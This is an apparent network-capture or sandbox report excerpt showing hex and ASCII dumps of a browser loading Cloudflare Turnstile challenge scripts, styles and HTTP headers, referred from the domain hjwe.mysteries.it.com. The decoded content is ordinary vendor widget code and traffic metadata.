6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-24 15:35:04 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:04 UTC	846	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://hjwe.mysteries.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:05 UTC	1297	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28317 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-hm6F0thC4Ul7xE7u' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-24 15:35:05 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-24 15:35:05 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 68 6d 36 46 30 74 68 43 34 55 6c 37 78 45 37 75 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-hm6F0thC4Ul7xE7u' 'unsafe-
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a 66 Data Ascii: align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:f
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 70 Data Ascii: hadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #exp
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c Data Ascii: }.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active,
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b Data Ascii: esh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 Data Ascii: :checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wid
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 Data Ascii: ontent:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f Data Ascii: {margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{co

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:35:05 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92573c80ae338186&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0u71y/0x4AAAAAABAt0oxKFPmz6aSq/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:35:05 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:35:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117849 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 92573c843d7814a8-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 15:35:05 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 43 75 55 53 37 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 Data Ascii: window._cf_chl_opt.CuUS7={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F
2025-03-24 15:35:05 UTC	1369	IN	Data Raw: 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 Data Ascii: 